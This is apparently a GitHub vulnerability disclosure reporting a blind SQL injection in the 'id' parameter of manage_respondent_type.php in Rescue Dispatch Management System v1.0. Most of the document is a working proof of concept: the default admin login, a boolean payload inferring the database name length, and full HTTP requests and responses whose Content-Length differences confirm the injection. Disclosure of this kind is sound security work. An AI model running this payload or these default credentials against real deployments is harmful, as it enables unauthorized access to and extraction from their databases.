

main

...

bug_report / vendors / oretnom23 / rescue-dispatch-management-system / SQLi-12.md



debug601 Create SQLi-12.md

History

1 contributor

35 lines (24 sloc) | 1.57 KB

...

Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html>

Vulnerability File: /rdms/admin/respondent_types/manage_respondent_type.php?id=

Vulnerability location: /rdms/admin/respondent_types/manage_respondent_type.php?id=,id

[+] Payload: /rdms/admin/respondent_types/manage_respondent_type.php?id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

Current database name: rdms_db,length is 7

```
GET /rdms/admin/respondent_types/manage_respondent_type.php?id=1%27%20and%20length(d
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1

Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q

Connection: close

When length (database ()) = 6, Content-Length: 1965

```
GET /rdms/admin/respondent_types/manage_respondent_type.php?id=1%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close

HTTP/1.1 200 OK
Date: Thu, 26 May 2022 10:01:09 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1965
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="respondent_type-form">
    <input type="hidden" name="id" value="">
    <div class="form-group">
      <label for="name" class="control-label">Responde
      <input type="text" name="name" id="name" class="form-control sm rounded-0" value="" required/>
    </div>
  </form>
</div>
```

INT SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS-

Load URL 192.168.1.19/rdms/admin/respondent_types/manage_respondent_type.php?id=1' and length(database())=6--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Respondent Type

Status Active

When length (database ()) = 7, Content-Length: 1983

```
GET /rdms/admin/respondent_types/manage_respondent_type.php?id=1%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close

HTTP/1.1 200 OK
Date: Thu, 26 May 2022 10:00:10 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1983
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="respondent_type-form">
    <input type="hidden" name="id" value="1" />
    <div class="form-group">
      <label for="name" class="control-label">Respondent
      <input type="text" name="name" id="name" class="form-control sm rounded-0" value="Ambulance" required/>
    </div>
  </form>
</div>
```

INT SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS-

Load URL 192.168.1.19/rdms/admin/respondent_types/manage_respondent_type.php?id=1' and length(database())=7--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Respondent Type Ambulance

Status Active

